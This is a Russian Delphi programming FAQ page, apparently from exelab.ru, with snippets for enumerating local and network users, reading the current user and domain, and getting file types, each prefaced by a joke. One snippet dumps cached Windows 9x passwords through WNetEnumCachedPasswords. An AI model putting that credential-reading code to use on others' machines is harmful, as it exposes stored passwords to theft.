Я понимаю, что это в действительности не то, что нужно, по я просто хотел продемонстрировать другой способ. (вы можете возвращать строки как тип PChar, который также занимает 4 байта). Вы должны использовать некоторую память, распределяемую вызовом процедуры (может быть передавать результаты как P2?).


 {моя форма имеет 3 метки, одну кнопку и этот код}
 
 var
   MyFuncRetInt: function(P1, P2: Integer): Integer;
   MyFuncRetBool: function(P1, P2: Integer): LongBool;
   MyFuncRetPointer: function(P1, P2: Integer): Pointer;
 
 function MyFuncRetAnything(P1, P2: Integer): Integer;
 var
   RetPointer: Pointer;
   RetBool: LongBool;
   RetInteger: Integer;
 begin
   RetPointer := nil;
   RetBool := False;
   RetInteger := 4711;
   case P1 of
     1: Result := Integer(RetPointer);
     2: Result := Integer(RetBool);
     3: Result := RetInteger;
   end;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if MyFuncRetBool(2, 1900) then
     Label1.Caption := 'True'
   else
     Label1.Caption := 'False';
   Label2.Caption := IntToStr(MyFuncRetInt(3, 1900));
   Label3.Caption := IntToHex(Integer(MyFuncRetPointer(1, 1900)), 16);
 end;
 
 initialization
   MyFuncRetInt := @MyFuncRetAnything;
   MyFuncRetBool := @MyFuncRetAnything;
   MyFuncRetPointer := @MyFuncRetAnything;
 
 end.
 




Получить список пользователей

Автор: Кондратюк Виталий

Нас Reboot, а мы крепчаем.

GetLocalUserList - возвращает список пользователей (Windows NT, Windows 2000)


 unit Func;
 
 interface
 
 uses Sysutils, Classes, Stdctrls, Comctrls, Graphics, Windows;
 
 ////////////////////////////////////////////////////////////////////////////////
 {$EXTERNALSYM NetUserEnum}
 function NetUserEnum(servername: LPWSTR;
 
   level,
   filter: DWORD;
   bufptr: Pointer;
   prefmaxlen: DWORD;
   entriesread,
   totalentries,
   resume_handle: LPDWORD): DWORD; stdcall;
 external 'NetApi32.dll' Name 'NetUserEnum';
 
 function NetApiBufferFree(Buffer: Pointer {LPVOID}): DWORD; stdcall;
 
 external 'NetApi32.dll' Name 'NetApiBufferFree';
 ////////////////////////////////////////////////////////////////////////////////
 
 procedure GetLocalUserList(ulist: TStringList);
 
 implementation
 
 //------------------------------------------------------------------------------
 // возвращает список пользователей локального хоста
 //------------------------------------------------------------------------------
 
 procedure GetLocalUserList(ulist: TStringList);
 const
 
   NERR_SUCCESS = 0;
   FILTER_TEMP_DUPLICATE_ACCOUNT = $0001;
   FILTER_NORMAL_ACCOUNT = $0002;
   FILTER_PROXY_ACCOUNT = $0004;
   FILTER_INTERDOMAIN_TRUST_ACCOUNT = $0008;
   FILTER_WORKSTATION_TRUST_ACCOUNT = $0010;
   FILTER_SERVER_TRUST_ACCOUNT = $0020;
 
 type
 
   TUSER_INFO_10 = record
     usri10_name,
       usri10_comment,
       usri10_usr_comment,
       usri10_full_name: PWideChar;
   end;
   PUSER_INFO_10 = ^TUSER_INFO_10;
 
 var
 
   dwERead, dwETotal, dwRes, res: DWORD;
   inf: PUSER_INFO_10;
   info: Pointer;
   p: PChar;
   i: Integer;
 begin
 
   if ulist = nil then
     Exit;
   ulist.Clear;
 
   info := nil;
   dwRes := 0;
   res := NetUserEnum(nil,
     10,
     FILTER_NORMAL_ACCOUNT,
     @info,
     65536,
     @dwERead,
     @dwETotal,
     @dwRes);
   if (res <> NERR_SUCCESS) or (info = nil) then
     Exit;
   p := PChar(info);
   for i := 0 to dwERead - 1 do
   begin
     inf := PUSER_INFO_10(p + i * SizeOf(TUSER_INFO_10));
     ulist.Add(WideCharToString(PWideChar((inf^).usri10_name)));
   end;
 
   NetApiBufferFree(info);
 end;
 
 end.
 




Получить список пользователей, подключённых к сети


Корпорации IBM срочно требуется ламер для организации и проведения увеселительных мероприятий.


 unit NetUtils;
 
 interface
 
 uses
   Windows, Classes;
 
 function GetContainerList(ListRoot:PNetResource):TList;
 
 type
   {$H+}
   PNetRes = ^TNetRes;
   TNetRes = record
     dwScope : Integer;
     dwType : Integer;
     dwDisplayType : Integer;
     dwUsage : Integer;
     LocalName : string;
     RemoteName : string;
     Comment : string;
     Provider : string;
   end;
   {H-}
 
 
 implementation
 
 uses SysUtils;
 
 type
   PnetResourceArr = ^TNetResource;
 
 function GetContainerList(ListRoot:PNetResource):TList;
 {возвращает список сетевых имён с подуровня ListRoot, каждый
 элемент списка TList - это PNetRec, где поле RemoteName определяет
 соответственно сетевое имя элемента списка. Если ListRoot=nil, то
 возвращается самый верхний уровень типа:
 1. Microsoft Windows Network
 2. Novell Netware Network
 Чтобы получить список доменов сети Microsoft, нужно вызвать эту
 функцию второй раз, передав ей в качестве параметра,
 соответствующий элемент списка, полученного при первом её вызове.
 Чтобы получить список компьютеров домена - вызвать третий раз...}
 var
   TempRec : PNetRes;
   Buf : Pointer;
   Count,
   BufSize,
   Res : DWORD;
   lphEnum : THandle;
   p : PNetResourceArr;
   i : SmallInt;
   NetworkList : TList;
 begin
   NetworkList := TList.Create;
   Result:=nil;
   BufSize := 8192;
   GetMem(Buf, BufSize);
   try
     Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
     RESOURCEUSAGE_CONTAINER{0}, ListRoot,lphEnum);
     {в результате получаем ссылку lphEnum}
     if Res <> 0 then
       raise Exception(Res);
     Count := $FFFFFFFF; {требуем выдать столько записей в список, сколько есть}
     Res := WNetEnumResource(lphEnum, Count, Buf, BufSize);
     {в буфере Buf - списочек в виде массива указателей на структуры
     типа TNetResourceArr, а в Count - число этих структур}
     if Res = ERROR_NO_MORE_ITEMS then
       Exit;
     if (Res <> 0) then
       raise Exception(Res);
     P := PNetResourceArr(Buf);
     for I := 0 to Count - 1 do
     begin
       // Требуется копирование из буфера, так как он
       // действителен только до следующего вызова функций группы WNet
       New(TempRec);
       TempRec^.dwScope := P^.dwScope;
       TempRec^.dwType := P^.dwType ;
       TempRec^.dwDisplayType := P^.dwDisplayType ;
       TempRec^.dwUsage := P^.dwUsage ;
       {имеются ввиду вот эти указатели}
       TempRec^.LocalName := StrPas(P^.lpLocalName);
       {в смысле - строки PChar}
       TempRec^.RemoteName := StrPas(P^.lpRemoteName);
       TempRec^.Comment := StrPas(P^.lpComment);
       TempRec^.Provider := StrPas(P^.lpProvider);
       NetworkList.Add(TempRec);
       Inc(P);
     end;
     Res := WNetCloseEnum(lphEnum);
     {а следующий вызов - вот он!}
     if Res <> 0 then
       raise Exception(Res);
     Result:=NetWorkList;
   finally
     FreeMem(Buf);
   end;
 end;
 
 end.
 




Пример получения имени пользователя и домена под которым работает текущий поток или процесс

Пухнет юзер с голоду,
Губит жизнь он с молоду.
Руки длинные у чата,
Месяц - и кранты, ребята...


 // Пример получения имени пользователя и домена под которым работает 
 // текущий поток или процесс 
 type
  PTOKEN_USER = ^TOKEN_USER;
  _TOKEN_USER = record
    User : TSidAndAttributes;
  end;
  TOKEN_USER = _TOKEN_USER;
 
 function GetCurrentUserAndDomain (
       szUser : PChar; var chUser: DWORD; szDomain :PChar; var chDomain : DWORD
  ):Boolean;
 var
  hToken : THandle;
  cbBuf  : Cardinal;
  ptiUser : PTOKEN_USER;
  snu    : SID_NAME_USE;
 begin
  Result:=false;
  // Получаем маркер доступа текущего потока нашего процесса
  if not OpenThreadToken(GetCurrentThread(),TOKEN_QUERY,true,hToken)
   then begin
    if GetLastError()< > ERROR_NO_TOKEN then exit;
    // В случее ошибки - получаем маркер доступа нашего процесса.
    if not OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,hToken)
     then exit;
   end;
 
  // Вывываем GetTokenInformation для получения размера буфера 
  if not GetTokenInformation(hToken, TokenUser, nil, 0, cbBuf)
   then if GetLastError()< > ERROR_INSUFFICIENT_BUFFER
    then begin
     CloseHandle(hToken);
     exit;
    end;
 
  if cbBuf = 0 then exit;
 
  // Выделяем память под буфер 
  GetMem(ptiUser,cbBuf);
 
  // В случае удачного вызова получим указатель на TOKEN_USER
  if GetTokenInformation(hToken,TokenUser,ptiUser,cbBuf,cbBuf)
   then begin
    // Ищем имя пользователя и его домен по его SID
    if LookupAccountSid(nil,ptiUser.User.Sid,szUser,chUser,szDomain,chDomain,snu)
     then Result:=true;
   end;
 
  // Освобождаем ресурсы 
  CloseHandle(hToken);
  FreeMem(ptiUser);
 end;
 
 // Использовать функцию можно так :
 var
  Domain, User : array [0..50] of Char;
  chDomain,chUser : Cardinal;
 begin
  chDomain:=50;
  chUser :=50;
  if GetCurrentUserAndDomain(User,chuser,Domain,chDomain)
   then ...
 end;
 
 // Если вам необходимо получить только имя пользователя - используйте GetUserName
 // Данный пример можно использовать и для определения - запущен ли процесс
 // системой или пользователем.  Учетной записи Localsystem соответствует 
 // имя пользователя - SYSTEM и домен NT AUTORITY (лучше проверить на практике)
 




Как узнать имя пользователя


Приходит домой программист весь больной, сморкается. Жена у него спрашивает:
- Что случилось?
- Да вот с Вундоуз тр:хался - вирус подхватил.


 function GetUserFromWindows: string;
 var
   UserName : string;
   UserNameLen : Dword;
 begin
   UserNameLen := 255;
   SetLength(userName, UserNameLen);
   if GetUserName(PChar(UserName), UserNameLen) then
     Result := Copy(UserName,1,UserNameLen - 1)
   else
     Result := 'Unknown';
 end;
 




Как получить закэшированные пароли в Win9x


 program getpass;
 
 type
   ...
   ListBox: TListBox;
   procedure getpasswords;
 end;
 
 const
   Count: Integer = 0;
 
 function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
   PC: PChar; dw: DWord): Word; stdcall;
 
 implementation
 
 {$R *.DFM}
 
 function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC:
   PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
 type
   PWinPassword = ^TWinPassword;
   TWinPassword = record
     EntrySize: Word;
     ResourceSize: Word;
     PasswordSize: Word;
     EntryIndex: Byte;
     EntryType: Byte;
     PasswordC: Char;
   end;
 var
   WinPassword: TWinPassword;
 
 function AddPassword(WinPassword: PWinPassword;
   dw: DWord): LongBool; stdcall;
 var
   Password: string;
   PC: array[0..$FF] of Char;
 begin
   inc(Count);
 
   Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
   PC[WinPassword.ResourceSize] := #0;
   CharToOem(PC, PC);
   Password := StrPas(PC);
 
   Move(WinPassword.PasswordC, PC,
     WinPassword.PasswordSize + WinPassword.ResourceSize);
   Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
   PC[WinPassword.PasswordSize] := #0;
   CharToOem(PC, PC);
   Password := Password + ': ' + StrPas(PC);
 
   Form1.ListBox.Items.Add(Password);
   Result := True;
 end;
 
 procedure tform1.getpasswords;
 var
   error: string;
 begin
   if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
   begin
     error := 'Can not load passwords: User is not loged on.';
   end
   else if Count = 0 then
     error := 'No passwords found...'
 end;
 




Получить тип файла Windows

И был свет...
И была тьма...
И загрузилась Windows!


 uses ShellAPI;
 
 function MrsGetFileType(const strFilename: string): string;
 var
   FileInfo: TSHFileInfo;
 begin
   FillChar(FileInfo, SizeOf(FileInfo), #0);
   SHGetFileInfo(PChar(strFilename), 0, FileInfo, SizeOf(FileInfo), SHGFI_TYPENAME);
   Result := FileInfo.szTypeName;
 end;
 
 // Example: 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage('File type is: ' + MrsGetFileType('c:\autoexec.bat'));
 end;
 




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS